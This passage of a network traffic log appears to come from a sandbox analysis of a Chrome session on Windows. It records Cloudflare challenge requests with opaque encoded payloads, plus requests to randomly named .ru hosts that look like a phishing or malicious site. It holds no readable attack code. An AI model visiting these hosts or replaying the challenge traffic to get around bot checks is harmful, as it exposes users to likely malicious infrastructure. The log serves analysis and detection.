p7uJl3l7qNm5zHtpGWn5WEw6C8wsylp8uO1syWr5nQmtXa256r4sC439O53tqhqqe9ubi58u/03sjEwbDjz9PE9LDZt/vB+/DkAAQFAunW6NXX/ALN5ermCwrWAhMI+hAJ8RwiIiMb9yb+FiDz5h79AAYl7AQNK/AiFS71CCYw9yr3OxQYPzEuGBQ+QCATQzYYPT8MD1RGNlIjTVBGT1JUVihSHzhAVjhOQmFgXkRjKThHYlpxJW4zcmlvcWZvd
2025-01-10 15:33:20 UTC	1369	IN	Data Raw: 39 64 71 53 2f 76 72 54 4a 75 33 32 69 78 5a 62 46 73 59 4f 4c 7a 35 4b 77 6c 4e 47 55 69 35 6e 58 30 36 65 57 32 4e 65 54 75 75 43 33 73 2b 61 6e 30 4d 69 6a 70 36 4c 4d 32 71 6d 69 7a 4f 6e 71 34 63 7a 33 73 62 69 7a 36 62 66 6f 2b 66 47 39 30 74 69 39 77 50 72 50 39 66 7a 47 38 63 67 48 34 77 6f 51 42 63 34 53 7a 77 62 6e 38 78 4d 4e 31 4f 50 5a 46 67 62 77 31 68 63 4e 48 78 7a 65 34 52 73 54 34 79 54 66 36 4f 59 5a 44 65 66 72 35 68 41 6b 35 51 73 75 2f 69 34 61 36 2f 4d 34 2b 68 6e 38 4f 76 7a 7a 41 6b 41 38 45 50 35 42 51 50 73 6a 53 53 41 63 54 78 41 35 4d 55 77 52 46 52 52 45 43 67 73 70 53 56 52 49 46 45 77 62 54 6c 39 55 48 31 4a 50 49 31 34 66 57 32 4e 61 50 7a 78 63 61 32 70 75 4b 69 59 7a 54 47 52 31 54 48 4a 54 64 32 55 37 62 48 4a 55 67 6f Data Ascii: 9dqS/vrTJu32ixZbFsYOLz5KwlNGUi5nX06eW2NeTuuC3s+an0Mijp6LM2qmizOnq4cz3sbiz6bfo+fG90ti9wPrP9fzG8cgH4woQBc4Szwbn8xMN1OPZFgbw1hcNHxze4RsT4yTf6OYZDefr5hAk5Qsu/i4a6/M4+hn8OvzzAkA8EP5BQPsjSSAcTxA5MUwRFRRECgspSVRIFEwbTl9UH1JPI14fW2NaPzxca2puKiYzTGR1THJTd2U7bHJUgo
2025-01-10 15:33:20 UTC	1369	IN	Data Raw: 76 49 57 43 77 72 71 4b 70 72 72 44 6a 64 43 30 77 35 47 4b 77 73 61 4e 78 35 76 50 6d 39 79 30 7a 70 2f 51 73 4e 69 68 30 36 4f 6d 70 65 6a 57 34 61 71 69 79 4f 4f 74 37 36 2f 6d 73 66 58 75 35 37 58 34 32 50 43 35 36 37 66 7a 76 74 72 59 38 62 6e 7a 76 2f 6e 47 43 65 51 44 79 67 33 6f 2f 63 37 71 38 4e 4c 52 79 76 51 4a 31 51 6e 73 45 74 6f 64 43 78 44 64 49 68 73 55 34 78 54 66 46 75 59 43 35 78 7a 71 48 4f 38 66 35 53 45 42 4a 50 49 31 49 79 33 32 45 76 63 79 2b 53 7a 37 2f 76 34 62 45 54 59 44 52 53 55 38 42 7a 6b 70 51 51 70 4f 52 30 45 50 55 42 52 49 45 6b 55 78 53 78 68 49 48 46 45 53 54 53 31 55 48 6c 41 67 56 53 4e 6b 49 46 34 6d 57 54 30 72 4b 31 77 73 5a 79 39 68 53 57 6b 79 64 57 4e 6d 4f 48 70 7a 62 44 78 58 56 58 49 2b 4e 31 46 31 51 33 56 Data Ascii: vIWCwrqKprrDjdC0w5GKwsaNx5vPm9y0zp/QsNih06OmpejW4aqiyOOt76/msfXu57X42PC567fzvtrY8bnzv/nGCeQDyg3o/c7q8NLRyvQJ1QnsEtodCxDdIhsU4xTfFuYC5xzqHO8f5SEBJPI1Iy32Evcy+Sz7/v4bETYDRSU8BzkpQQpOR0EPUBRIEkUxSxhIHFESTS1UHlAgVSNkIF4mWT0rK1wsZy9hSWkydWNmOHpzbDxXVXI+N1F1Q3V
2025-01-10 15:33:20 UTC	1369	IN	Data Raw: 64 4b 4c 68 62 58 47 31 38 75 34 31 64 50 50 73 37 50 47 6e 39 33 56 75 64 4f 31 75 37 69 6e 35 64 33 44 32 37 33 44 77 4b 2f 74 35 64 75 77 36 39 43 79 36 36 72 78 36 4c 76 64 2b 72 71 35 74 75 6e 56 2b 64 76 6a 37 37 6e 7a 78 2f 6a 4c 41 77 72 38 7a 2f 45 50 7a 73 33 55 79 38 2f 4a 39 39 4d 54 45 64 4c 37 43 4e 45 43 2f 43 51 58 47 79 49 45 35 75 51 45 2f 52 38 71 42 41 7a 76 4c 69 59 63 38 43 77 76 38 69 77 31 4d 68 7a 74 48 6a 4d 33 4e 42 67 32 49 77 45 38 2b 2f 34 37 2f 6a 34 31 44 45 70 43 4c 67 31 49 4f 77 39 48 55 55 34 30 43 6a 6f 35 55 30 38 30 55 6a 73 64 57 42 67 62 57 54 78 5a 4a 79 68 68 59 6b 4e 63 51 69 64 42 4c 57 67 6f 4b 32 64 4d 61 6b 39 6f 54 6a 4e 4e 50 48 70 79 56 33 42 57 50 31 56 42 66 44 77 2f 65 33 5a 2b 59 33 78 69 53 32 46 51 Data Ascii: dKLhbXG18u41dPPs7PGn93VudO1u7in5d3D273DwK/t5duw69Cy66rx6Lvd+rq5tunV+dvj77nzx/jLAwr8z/EPzs3Uy8/J99MTEdL7CNEC/CQXGyIE5uQE/R8qBAzvLiYc8Cwv8iw1MhztHjM3NBg2IwE8+/47/j41DEpCLg1IOw9HUU40Cjo5U080UjsdWBgbWTxZJyhhYkNcQidBLWgoK2dMak9oTjNNPHpyV3BWP1VBfDw/e3Z+Y3xiS2FQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	63280	104.18.94.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:20 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:21 UTC	375	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 15:33:21 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: Zg3pqAvSNMutb4/Zqaaf3g==$PxebzTgODehi3w8Gmcv91g== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ffdb9965bc68c5d-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:21 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	63284	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:26 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34499 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:26 UTC	16384	OUT	Data Raw: 76 5f 38 66 66 64 62 39 37 32 38 64 39 35 34 32 39 39 3d 67 53 6f 32 4d 4e 41 77 4f 31 53 52 53 52 24 53 41 2d 41 31 78 6b 34 75 48 4e 41 51 52 78 32 6a 72 48 25 32 62 6e 73 52 76 4d 52 67 6f 41 50 59 52 32 32 74 73 31 32 52 24 6f 52 4c 47 6b 66 6f 41 66 52 37 32 41 72 31 52 62 70 4e 2b 31 67 33 52 48 47 52 68 70 52 43 52 46 70 52 77 6a 50 6b 48 42 44 6e 50 54 70 33 6b 70 52 63 75 34 6d 52 4a 32 2d 75 52 77 32 68 4a 6e 75 52 44 70 52 73 52 37 6b 41 59 2b 42 67 41 52 52 6a 50 52 6a 24 6b 52 48 63 33 74 6d 45 73 52 41 63 45 4c 33 53 47 72 51 70 52 30 33 72 77 53 63 34 46 6d 6b 52 45 72 33 49 2d 72 49 4c 45 31 52 48 6a 54 66 6b 41 52 6b 6e 45 77 52 4e 6a 55 6a 6f 6f 2b 6f 45 2d 31 6a 50 7a 5a 52 37 68 4c 6b 4e 65 7a 37 37 33 5a 71 78 67 62 71 2b 68 72 6d 68 Data Ascii: v_8ffdb9728d954299=gSo2MNAwO1SRSR$SA-A1xk4uHNAQRx2jrH%2bnsRvMRgoAPYR22ts12R$oRLGkfoAfR72Ar1RbpN+1g3RHGRhpRCRFpRwjPkHBDnPTp3kpRcu4mRJ2-uRw2hJnuRDpRsR7kAY+BgARRjPRj$kRHc3tmEsRAcEL3SGrQpR03rwSc4FmkREr3I-rILE1RHjTfkARknEwRNjUjoo+oE-1jPzZR7hLkNez773Zqxgbq+hrmh
2025-01-10 15:33:26 UTC	16384	OUT	Data Raw: 6a 6f 68 61 36 39 44 6b 52 34 32 35 52 6f 32 41 6b 52 43 52 6b 52 68 6b 41 52 31 4f 52 35 52 44 6b 67 6f 41 39 6b 58 38 2d 24 6e 56 52 73 52 67 6f 48 31 52 32 24 34 70 41 4e 52 4f 32 34 4f 6e 73 52 45 32 6a 44 52 32 52 6a 32 68 4f 52 30 52 43 32 2d 43 41 32 52 56 32 4c 72 52 59 52 78 52 61 72 41 68 44 33 74 4e 6d 4e 36 44 67 64 2b 42 5a 62 4e 68 32 52 53 4d 24 6b 4c 52 43 75 7a 34 43 77 72 61 32 41 55 52 44 52 61 63 49 77 6b 37 52 71 6a 4e 2d 52 6f 32 2d 53 4e 53 52 55 52 31 32 2d 64 43 4c 74 75 6d 41 7a 70 50 32 41 32 41 36 6d 47 73 74 70 52 6c 43 7a 6f 48 55 7a 49 52 61 63 66 76 55 4c 43 54 58 61 55 4d 7a 32 61 34 47 4b 74 4a 52 68 32 48 6b 52 47 32 4c 53 4c 52 41 66 50 5a 36 50 51 4d 4b 6b 47 39 47 70 6a 68 33 31 6b 34 63 7a 45 52 6f 32 67 6f 52 73 6f Data Ascii: joha69DkR425Ro2AkRCRkRhkAR1OR5RDkgoA9kX8-$nVRsRgoH1R2$4pANRO24OnsRE2jDR2Rj2hOR0RC2-CA2RV2LrRYRxRarAhD3tNmN6Dgd+BZbNh2RSM$kLRCuz4Cwra2AURDRacIwk7RqjN-Ro2-SNSRUR12-dCLtumAzpP2A2A6mGstpRlCzoHUzIRacfvULCTXaUMz2a4GKtJRh2HkRG2LSLRAfPZ6PQMKkG9Gpjh31k4czERo2goRso
2025-01-10 15:33:26 UTC	1731	OUT	Data Raw: 68 30 32 52 7a 4c 37 32 34 6b 37 31 64 33 30 6a 52 4e 73 52 63 70 66 72 6d 56 68 79 70 74 4f 35 70 32 66 48 52 24 54 4d 48 31 33 34 67 41 2b 69 69 2d 77 4d 4a 30 70 65 6b 6a 42 41 61 68 52 46 75 24 42 5a 7a 68 70 66 47 4e 62 31 64 45 68 50 48 75 70 59 4f 76 4d 43 77 49 78 53 74 70 52 65 4d 78 41 45 36 75 50 6f 77 32 30 32 4e 5a 52 33 67 46 72 4e 53 52 41 32 6a 77 41 34 32 24 53 64 4f 24 55 52 35 70 61 70 48 58 52 50 53 42 2d 32 50 68 36 36 33 50 75 58 79 48 52 45 30 41 43 52 64 6f 6a 52 78 54 79 79 39 39 73 66 4a 31 65 53 77 2d 79 44 76 37 52 68 66 4e 55 6c 68 66 62 34 78 6a 69 68 70 66 4f 52 55 70 24 6b 4e 62 70 6d 32 74 47 45 46 38 45 73 55 74 72 4f 41 59 64 75 62 41 78 41 43 52 45 6f 61 45 2d 54 35 71 32 6f 2b 77 6b 4f 76 53 71 4a 38 4c 33 71 2b 6c 2b Data Ascii: h02RzL724k71d30jRNsRcpfrmVhyptO5p2fHR$TMH134gA+ii-wMJ0pekjBAahRFu$BZzhpfGNb1dEhPHupYOvMCwIxStpReMxAE6uPow202NZR3gFrNSRA2jwA42$SdO$UR5papHXRPSB-2Ph663PuXyHRE0ACRdojRxTyy99sfJ1eSw-yDv7RhfNUlhfb4xjihpfORUp$kNbpm2tGEF8EsUtrOAYdubAxACREoaE-T5q2o+wkOvSqJ8L3q+l+
2025-01-10 15:33:26 UTC	1347	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4624 Connection: close cf-chl-out-s: xYzv9bMnUX8mXLoMt2sQ7qBusLoZUKumAnFC3EBpGp7YNTLSCppAdWiFTFMDTq8EwFXXl38SIDKJvUp7ad/Li5SX/dDbiSlhh4LNu4jByaZSl1XKjlv/0DqeZHQ0s8ej1Jv2r6xoW3TpX8s/cV89ayCNji+msrvSmgIsw5aNww3VqN9QUKsW55zFHKWEvUr7S0rWvg8ixUAcgJWyM4aErZ+GSKtbq+PzmAMhdJEzNmz7n61IauTfb6k5nt1O3zM8HA40z/CmMpXMa/osazAeoWyW+HY7XXmmKRqSDWOvBADwj3MGjbRjq4pTWNfBbL/HN/pLVt038Fb2J7SVEAWJKqBd7j5IvFKtHc5TdV9Uc3NyVtqfac2TzLDRy89rUvFGe+BrmcmKPss+J+Vrv2lrlzq2S1kgErPF/VkcFzr+qH4TDccrGgbJtp+lmfLk4rbVNUXL35FtpBuI8kWpFLtOlq0qd79apfCjjDTce6z+3K5fTmmIOM6IPceVrZM43YUAXlnldoJTHDTDTZpZWA9bxllmBV16gFKg8dBwI4SzAc9mRB8gGFTIVSMajAa01ps3t7mErGXAr5ldS3hFdrcwG+wP3z+JhF38YPnLrGC6vlvPb1h9kC9HtUxIig0n/jXbcPrXEa7hr6fFb4FXVO9Plk6txFEHWPbTJHajRNBna/J7KeruoqP0A9d4nJAYrpvHAGuONuVFpqaGPE7dVLoHo9HZF18K9m90joZkRN8ZoZULBwWX1QjD5y/cwvHVAKlWyu+9tBTed1uKr5ge/LAK8xnJUmjPQZhdDDQAFdR07NXXCcRzHdbHuKf1xu9njNYEMYlkKO/pCvvRhUfbVsuyEVUHDETg0a4ydB+H/K520zfRWXN79dzPkSjSURITlmAW8NJHAuEHLEnyQBRdRpYMiSf/a+Kwb4m3vhFD2caNwh+jO+kEt+NVxvAjxJKJ7sIGwm9ZpRHNwIaxROzscM5Xk2TYqDL2bZgOsbg+oyOT6y4=$IGZNk [TRUNCATED] cf-chl-out: 7LJLSJTjfBJ6x/ojfOe46sS3TSqMpN049tuSj2FBXxyDh51sgz4G9lp3UVA+R4N+NPUUavi3A/dewa6BYK3zs5bPs9NdZIwc7X77R7rvmSE=$+poAkXYSmx2fC8cQHWbUqw== Server: cloudflare
2025-01-10 15:33:26 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 66 66 64 62 39 62 37 63 62 36 33 31 61 33 63 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 8ffdb9b7cb631a3c-EWRalt-svc: h3=":443"; ma=86400
2025-01-10 15:33:26 UTC	1329	IN	Data Raw: 6a 34 52 69 61 6f 4f 46 64 56 52 4f 55 32 31 65 58 47 35 74 6d 32 4e 66 58 59 52 78 6d 4a 52 39 64 4b 79 69 70 57 31 6e 68 33 4f 46 66 72 43 77 67 71 71 31 70 4c 53 54 76 38 43 77 73 70 71 54 6a 73 61 65 6c 33 36 68 6c 6f 4b 56 6c 71 71 77 79 4b 65 78 31 4d 54 55 31 34 6d 69 73 64 69 74 71 72 61 5a 73 4e 69 33 79 2b 54 53 72 74 69 7a 73 4c 48 67 74 75 54 44 32 2f 44 64 79 75 43 2f 77 75 54 67 78 38 4c 78 36 2b 71 37 75 50 44 66 79 76 44 30 76 37 72 7a 31 74 6e 52 30 67 48 73 42 65 50 68 45 51 45 42 37 74 2f 69 33 67 6b 49 34 67 6b 4a 2b 2b 55 4d 48 66 45 5a 39 2f 6b 6c 45 2b 33 75 2b 50 6b 61 39 77 33 71 2b 53 73 64 4c 41 67 63 4c 54 48 7a 4b 50 49 68 4e 77 6a 37 46 77 6f 31 4b 66 49 4c 45 53 42 46 52 51 62 2b 4f 52 38 4a 54 54 73 59 49 30 45 67 4b 6b 6f Data Ascii: j4RiaoOFdVROU21eXG5tm2NfXYRxmJR9dKyipW1nh3OFfrCwgqq1pLSTv8CwspqTjsael36hloKVlqqwyKex1MTU14misditqraZsNi3y+TSrtizsLHgtuTD2/DdyuC/wuTgx8Lx6+q7uPDfyvD0v7rz1tnR0gHsBePhEQEB7t/i3gkI4gkJ++UMHfEZ9/klE+3u+Pka9w3q+SsdLAgcLTHzKPIhNwj7Fwo1KfILESBFRQb+OR8JTTsYI0EgKko
2025-01-10 15:33:26 UTC	1369	IN	Data Raw: 58 31 39 58 56 35 65 67 48 70 50 58 6e 79 43 55 48 68 46 66 46 74 61 66 46 70 65 67 6f 42 63 5a 47 78 4e 62 6d 4a 78 56 5a 4a 79 69 34 6c 30 61 31 68 63 59 33 61 59 70 47 42 78 59 61 52 71 67 59 57 6b 67 6f 75 4b 71 49 4f 42 62 47 32 4c 69 37 6c 31 65 6f 35 31 73 4c 6d 49 69 62 79 58 6c 4c 6a 45 74 4b 61 55 71 72 75 63 6c 34 32 39 6d 35 7a 4a 73 36 4f 65 6c 5a 2b 6a 7a 4e 44 44 73 74 75 79 71 72 44 50 32 4b 47 32 6e 4a 33 49 78 37 50 68 31 4c 37 74 77 75 48 43 34 75 6a 62 78 73 47 74 36 38 48 33 77 75 4f 79 2f 64 4c 6f 79 4e 71 36 32 4d 37 65 41 66 66 65 35 67 48 54 33 77 77 4a 42 74 2f 75 37 75 6a 69 37 2f 62 6f 39 66 59 5a 38 75 37 34 2b 67 76 70 45 77 34 4f 32 68 54 32 38 2f 6a 79 4a 67 30 41 2b 69 59 4e 42 67 73 78 48 51 41 4e 38 66 45 4b 4c 54 45 79 Data Ascii: X19XV5egHpPXnyCUHhFfFtafFpegoBcZGxNbmJxVZJyi4l0a1hcY3aYpGBxYaRqgYWkgouKqIOBbG2Li7l1eo51sLmIibyXlLjEtKaUqrucl429m5zJs6OelZ+jzNDDstuyqrDP2KG2nJ3Ix7Ph1L7twuHC4ujbxsGt68H3wuOy/dLoyNq62M7eAffe5gHT3wwJBt/u7uji7/bo9fYZ8u74+gvpEw4O2hT28/jyJg0A+iYNBgsxHQAN8fEKLTEy
2025-01-10 15:33:26 UTC	1369	IN	Data Raw: 70 66 55 58 56 6b 67 6d 46 37 65 55 74 49 61 6c 39 47 61 56 36 48 59 59 4a 52 56 6b 36 48 6a 47 39 6d 6a 4a 43 4c 61 6f 32 68 64 6f 4b 65 67 6c 35 2f 6f 61 46 37 6e 49 4f 4a 73 4a 35 35 71 4a 78 2b 6f 34 71 59 73 49 35 77 76 4b 79 37 72 49 75 49 73 4a 36 4d 6a 72 53 34 6d 62 75 55 68 37 69 6d 69 4c 2f 42 6a 34 75 6e 6b 37 47 78 71 36 79 6e 74 73 7a 4b 73 71 65 64 79 4c 76 50 6d 73 4f 38 31 4e 33 52 76 37 4c 4a 71 38 72 48 74 71 32 36 38 66 44 51 76 37 2b 78 74 73 62 36 2b 4e 76 50 31 62 58 49 7a 74 6e 4f 34 64 45 46 39 64 33 58 34 75 59 47 31 73 55 4a 31 39 73 53 42 74 33 4b 37 66 59 45 35 51 6e 32 43 76 4c 6c 45 66 4c 31 49 4f 48 74 41 43 50 6d 45 67 63 5a 42 2b 55 4b 43 4f 34 4f 2b 53 41 65 43 52 51 44 49 54 55 57 4b 67 4d 31 38 6a 30 74 2b 51 77 77 49 Data Ascii: pfUXVkgmF7eUtIal9GaV6HYYJRVk6HjG9mjJCLao2hdoKegl5/oaF7nIOJsJ55qJx+o4qYsI5wvKy7rIuIsJ6MjrS4mbuUh7imiL/Bj4unk7Gxq6yntszKsqedyLvPmsO81N3Rv7LJq8rHtq268fDQv7+xtsb6+NvP1bXIztnO4dEF9d3X4uYG1sUJ19sSBt3K7fYE5Qn2CvLlEfL1IOHtACPmEgcZB+UKCO4O+SAeCRQDITUWKgM18j0t+QwwI
2025-01-10 15:33:26 UTC	557	IN	Data Raw: 71 66 46 78 6e 67 47 35 61 62 55 31 6f 61 59 68 79 6a 32 74 69 57 6e 6c 7a 61 70 46 2b 62 5a 4b 63 64 48 47 6d 70 4b 46 37 67 36 46 31 64 36 79 62 62 33 36 78 72 4b 4f 48 6b 71 32 58 67 34 47 53 6d 6f 6c 30 64 71 6d 4c 6e 72 53 43 6b 6f 36 77 73 4a 65 36 76 4a 65 6b 76 62 69 66 70 61 79 79 78 61 61 75 77 4b 75 6a 32 4e 69 53 73 72 62 56 76 72 4b 73 34 4e 32 76 72 70 33 59 76 63 47 36 35 73 48 47 7a 73 36 2f 37 37 36 38 30 72 37 6b 34 64 44 35 77 75 6e 61 31 76 79 37 33 64 7a 30 7a 4e 6b 46 42 65 53 2b 43 51 72 30 32 2f 73 47 37 4e 34 51 45 75 6a 66 42 76 66 69 39 51 30 57 2b 76 66 36 2b 75 37 37 2f 67 51 4d 37 74 30 61 42 51 59 48 48 67 49 4c 4c 42 6e 39 44 77 38 68 42 52 4d 54 46 77 67 58 45 69 59 52 42 2f 54 35 45 52 37 35 4f 69 34 69 2f 55 59 64 45 77 Data Ascii: qfFxngG5abU1oaYhyj2tiWnlzapF+bZKcdHGmpKF7g6F1d6ybb36xrKOHkq2Xg4GSmol0dqmLnrSCko6wsJe6vJekvbifpayyxaauwKuj2NiSsrbVvrKs4N2vrp3YvcG65sHGzs6/77680r7k4dD5wuna1vy73dz0zNkFBeS+CQr02/sG7N4QEujfBvfi9Q0W+vf6+u77/gQM7t0aBQYHHgILLBn9Dw8hBRMTFwgXEiYRB/T5ER75Oi4i/UYdEw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	63285	104.18.94.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:27 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:27 UTC	375	IN	HTTP/1.1 404 Not Found Date: Fri, 10 Jan 2025 15:33:27 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: UzOmu//e3TPXdWTHi1hJBQ==$7b4rV9xbbNZ8+qHhIPDXiQ== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ffdb9bcb8f50f7d-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 15:33:27 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	63286	104.21.42.208	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:27 UTC	670	OUT	GET /0256581979405020159521774NwXzyZCHSEWNUIBRRKYXJPLNYTZCIHJHICJDDWEYJKYGAKJUXP HTTP/1.1 Host: dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://k8.komirath.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://k8.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:27 UTC	896	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X2%2FmseMZkFdBMR2Ic00mxgp3RwkR0iAzJ15%2FKPNndvyQJY7g2gVER1AHnwkrH79JsnO95OTD737IE5QxD2vbPdGo5%2FOFUr%2B2WlIJtLD6Qvj1KOiVz2MFfbcoF9gn9oK3MSkv78Uz4SEDNZBcq9ziICI4nueT1AE0TXAyVPkbkHx6IhNziD0IterfM8gamnoWRL%2BrbPjMAZM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffdb9bcefd54295-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2763&min_rtt=2763&rtt_var=1381&sent=5&recv=7&lost=0&retrans=1&sent_bytes=4204&recv_bytes=1248&delivery_rate=160766&cwnd=252&unsent_bytes=0&cid=3a3adcb00d106938&ts=611&x=0"
2025-01-10 15:33:27 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2025-01-10 15:33:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.17	63292	104.21.42.208	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:29 UTC	468	OUT	GET /0256581979405020159521774NwXzyZCHSEWNUIBRRKYXJPLNYTZCIHJHICJDDWEYJKYGAKJUXP HTTP/1.1 Host: dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:29 UTC	897	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R2UN9lIf2z5A0My5E4Rbj%2Fb1MzMd7eLa345EaHxpuobrgAuwLid1ytUaxixYkFxWh%2F59%2FIvEsEKbwnC2ezd0hxwZl89uxdUDCsfhucgUzp8KQucu1eLIdpW39sztbBBWwdYc6dvX9Ny8kOj9M1DJHA43QGezHR3ar0xNniNd%2B2kvNQFSZRLxBWKIu7Bes4B6t%2BZ%2BDuzcHIY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffdb9caffbf430d-EWR alt-svc: h3=":443"; ma=86400 server-timing: 